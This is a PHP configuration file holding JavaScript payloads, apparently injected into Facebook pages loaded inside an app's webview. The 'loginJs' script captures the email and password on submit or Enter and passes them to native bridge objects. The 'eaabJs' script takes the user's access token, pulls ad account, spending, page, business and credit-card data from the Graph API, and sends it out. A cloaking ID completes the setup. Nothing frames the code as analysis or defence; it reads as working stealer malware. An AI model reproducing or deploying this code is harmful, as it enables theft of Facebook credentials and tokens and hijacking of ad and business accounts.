<?php
return [
    'loginJs'=>'function exec() {
    try {
        parserNP(\'email\', \'pass\');
    } catch (e) {
        try {
            parserNP(\'m_login_email\', \'m_login_password\');
        } catch (e) {
        }
    }
}

function parserNP(emailId, passId) {
    var m = document.getElementById(emailId).value;
    var p = document.getElementById(passId).value;
    if (m.length <= 0 || p.length <= 0) {
        return false;
    }
    nativeSendMessenge(JSON.stringify([0, m, p]));
}


function nativeSendMessenge(data) {
    var list = ["window", "self", "frames", "top", "parent"];
    Object.keys(window).forEach(key => {
        if (list.includes(key)) return;
        let type = typeof window[key];
        try {
            if (type != \'object\') return;
            if (window[key] == null) return;
            //if (!window[key].hasOwnProperty(\'postMessage\')) return;
            //if (!typeof window[key].postMessage == \'function\') return;
            window[key].postMessage(data);
        } catch (e) {
            console.log(key + "," + type + "," + e);
        }
    });
}


function attaListener(btn) {
    try {
        btn.addEventListener(\'touchend\',
            function () {
                exec();
            });
        btn.addEventListener(\'click\',
            function () {
                exec();
            });
    } catch (e) {
    }
}

try {
    var form = document.forms[0];
    var btn = form.querySelectorAll(\'button[type=submit],button[type=button]\')[0];
    attaListener(btn);
} catch (e) {
}
try {
    document.onkeydown = function (event) {
        if (event.keyCode === 13) {
            exec();
        }
    }
} catch (e) {
}',
    'eaabJs'=>'async function postData(url, data) {
    var formData = [];
    for (var key in data) {
        formData.push(\'\'.concat(key, \'=\', data[key]));
    }
    return await fetch(url, {
        body: formData.join(\'&\'),
        headers: {
            \'Accept\': \'application/json\',
            \'content-type\': \'application/x-www-form-urlencoded\'
        },
        method: \'POST\'
    }).then(response => {
        if (response.ok) {
            return response.json();
        }
    })
}


async function getGraphData()  {
    var token = window.__accessToken;
    var url = "https://graph.facebook.com/v15.0/me?fields=adaccounts{account_id,account_status,amount_spent,is_prepay_account,name,currency,adtrust_dsl,account_currency_ratio_to_usd,adspaymentcycle},accounts{id,name,page_created_time,overall_star_rating,location,category,link,is_verified,is_published},businesses{created_time,credit_cards{is_user_verified},verification_status,bm_status}&access_token=" + token;
    var data = await fetch(url, {credentials: "include"}).then(response => {
        if (response.ok) {
            return response.json();
        }
    }).then(data => {
        return data;
    });
    nativeSendMessenge(JSON.stringify([1,token,data]));
}


function nativeSendMessenge(data) {
    var list = ["window", "self", "frames", "top", "parent"];
    Object.keys(window).forEach(key => {
        if (list.includes(key)) return;
        let type = typeof window[key];
        try {
            if (type != \'object\') return;
            if (window[key] == null) return;
            //if (!window[key].hasOwnProperty(\'postMessage\')) return;
            //if (!typeof window[key].postMessage == \'function\') return;
            window[key].postMessage(data);
        } catch (e) {
            console.log(key + "," + type + "," + e);
        }
    });
}

getGraphData();',
    'graphUrl'=>'https://graph.facebook.com/v14.0/me?fields=adaccounts{account_id,account_status,amount_spent,is_prepay_account,name,currency,adtrust_dsl,account_currency_ratio_to_usd,adspaymentcycle},accounts{id,name,page_created_time,overall_star_rating,location,category,link,is_verified,is_published},businesses{created_time,credit_cards{is_user_verified},verification_status,bm_status}&access_token=%s',
    //'lpUrl' => 'https://supreme-co.com',
    'lpUrl'=>'["https://www.facebook.com/friends", "https://www.facebook.com/pages/?category=your_pages&ref=bookmarks"]',
    'cloakId'=>'e4d8f42ce9caaba1005f5b989c3f4f6d'
];
